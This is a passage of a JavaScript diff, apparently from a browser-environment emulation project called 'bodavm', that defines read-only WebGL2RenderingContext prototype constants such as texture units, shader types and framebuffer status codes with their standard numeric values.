"SAMPLE_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 32936 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 32937 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 32938 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 32939 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPRESSED_TEXTURE_FORMATS", { + configurable: false, + enumerable: true, + writable: false, + value: 34467 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DONT_CARE", { + configurable: false, + enumerable: true, + writable: false, + value: 4352 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FASTEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4353 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NICEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4354 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GENERATE_MIPMAP_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 33170 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5120 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5121 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5122 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5123 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5124 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5125 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5126 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT", { + configurable: false, + enumerable: true, + writable: false, + value: 6402 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6406 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 6407 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA", { + configurable: false, + enumerable: true, + writable: false, + value: 6408 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE", { + configurable: false, + enumerable: true, + writable: false, + value: 6409 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6410 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_4_4_4_4", { + configurable: false, + enumerable: true, + writable: false, + value: 32819 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_5_5_1", { + configurable: false, + enumerable: true, + writable: false, + value: 32820 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_6_5", { + configurable: false, + enumerable: true, + writable: false, + value: 33635 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35632 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35633 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 34921 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36347 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36348 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35661 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35660 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 34930 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36349 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35663 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DELETE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35712 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINK_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35714 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VALIDATE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35715 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ATTACHED_SHADERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35717 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35718 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_ATTRIBUTES", { + configurable: false, + enumerable: true, + writable: false, + value: 35721 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADING_LANGUAGE_VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 35724 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_PROGRAM", { + configurable: false, + enumerable: true, + writable: false, + value: 35725 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEVER", { + configurable: false, + enumerable: true, + writable: false, + value: 512 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LESS", { + configurable: false, + enumerable: true, + writable: false, + value: 513 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "EQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 514 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 515 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREATER", { + configurable: false, + enumerable: true, + writable: false, + value: 516 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NOTEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 517 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 518 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALWAYS", { + configurable: false, + enumerable: true, + writable: false, + value: 519 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "KEEP", { + configurable: false, + enumerable: true, + writable: false, + value: 7680 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPLACE", { + configurable: false, + enumerable: true, + writable: false, + value: 7681 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR", { + configurable: false, + enumerable: true, + writable: false, + value: 7682 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR", { + configurable: false, + enumerable: true, + writable: false, + value: 7683 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 5386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34055 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34056 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VENDOR", { + configurable: false, + enumerable: true, + writable: false, + value: 7936 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERER", { + configurable: false, + enumerable: true, + writable: false, + value: 7937 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 7938 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9728 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9729 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9984 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9985 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9986 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9987 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAG_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10240 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10241 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_S", { + configurable: false, + enumerable: true, + writable: false, + value: 10242 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_T", { + configurable: false, + enumerable: true, + writable: false, + value: 10243 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 5890 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34067 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34068 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34069 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34070 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34072 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34073 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34074 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34076 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE0", { + configurable: false, + enumerable: true, + writable: false, + value: 33984 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE1", { + configurable: false, + enumerable: true, + writable: false, + value: 33985 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE2", { + configurable: false, + enumerable: true, + writable: false, + value: 33986 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE3", { + configurable: false, + enumerable: true, + writable: false, + value: 33987 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE4", { + configurable: false, + enumerable: true, + writable: false, + value: 33988 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE5", { + configurable: false, + enumerable: true, + writable: false, + value: 33989 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE6", { + configurable: false, + enumerable: true, + writable: false, + value: 33990 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE7", { + configurable: false, + enumerable: true, + writable: false, + value: 33991 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE8", { + configurable: false, + enumerable: true, + writable: false, + value: 33992 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE9", { + configurable: false, + enumerable: true, + writable: false, + value: 33993 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE10", { + configurable: false, + enumerable: true, + writable: false, + value: 33994 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE11", { + configurable: false, + enumerable: true, + writable: false, + value: 33995 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE12", { + configurable: false, + enumerable: true, + writable: false, + value: 33996 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE13", { + configurable: false, + enumerable: true, + writable: false, + value: 33997 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE14", { + configurable: false, + enumerable: true, + writable: false, + value: 33998 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE15", { + configurable: false, + enumerable: true, + writable: false, + value: 33999 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE16", { + configurable: false, + enumerable: true, + writable: false, + value: 34000 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE17", { + configurable: false, + enumerable: true, + writable: false, + value: 34001 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE18", { + configurable: false, + enumerable: true, + writable: false, + value: 34002 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE19", { + configurable: false, + enumerable: true, + writable: false, + value: 34003 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE20", { + configurable: false, + enumerable: true, + writable: false, + value: 34004 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE21", { + configurable: false, + enumerable: true, + writable: false, + value: 34005 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE22", { + configurable: false, + enumerable: true, + writable: false, + value: 34006 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE23", { + configurable: false, + enumerable: true, + writable: false, + value: 34007 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE24", { + configurable: false, + enumerable: true, + writable: false, + value: 34008 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE25", { + configurable: false, + enumerable: true, + writable: false, + value: 34009 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE26", { + configurable: false, + enumerable: true, + writable: false, + value: 34010 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE27", { + configurable: false, + enumerable: true, + writable: false, + value: 34011 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE28", { + configurable: false, + enumerable: true, + writable: false, + value: 34012 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE29", { + configurable: false, + enumerable: true, + writable: false, + value: 34013 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE30", { + configurable: false, + enumerable: true, + writable: false, + value: 34014 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE31", { + configurable: false, + enumerable: true, + writable: false, + value: 34015 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34016 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 10497 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CLAMP_TO_EDGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIRRORED_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 33648 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35664 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35665 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35666 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35667 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35668 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35669 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL", { + configurable: false, + enumerable: true, + writable: false, + value: 35670 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35671 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35672 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35673 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2", { + configurable: false, + enumerable: true, + writable: false, + value: 35674 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3", { + configurable: false, + enumerable: true, + writable: false, + value: 35675 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4", { + configurable: false, + enumerable: true, + writable: false, + value: 35676 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 35678 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 35680 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", { + configurable: false, + enumerable: true, + writable: false, + value: 34338 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34339 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 34340 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 34341 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 34922 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", { + configurable: false, + enumerable: true, + writable: false, + value: 34373 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34975 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35738 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 35739 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPILE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35713 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36336 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36337 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36338 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36339 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36340 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36341 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36160 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36161 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA4", { + configurable: false, + enumerable: true, + writable: false, + value: 32854 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB5_A1", { + configurable: false, + enumerable: true, + writable: false, + value: 32855 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB565", { + configurable: false, + enumerable: true, + writable: false, + value: 36194 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT16", { + configurable: false, + enumerable: true, + writable: false, + value: 33189 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_INDEX8", { + configurable: false, + enumerable: true, + writable: false, + value: 36168 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34041 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 36162 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 36163 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36164 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36176 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36177 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36178 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36179 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36180 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36181 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 36048 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", { + configurable: false, + enumerable: true, + writable: false, + value: 36049 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 36050 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 36051 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT0", { + configurable: false, + enumerable: true, + writable: false, + value: 36064 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36096 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36128 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 33306 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 36053 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36054 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36055 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", { + configurable: false, + enumerable: true, + writable: false, + value: 36057 +}, 'prototype'); 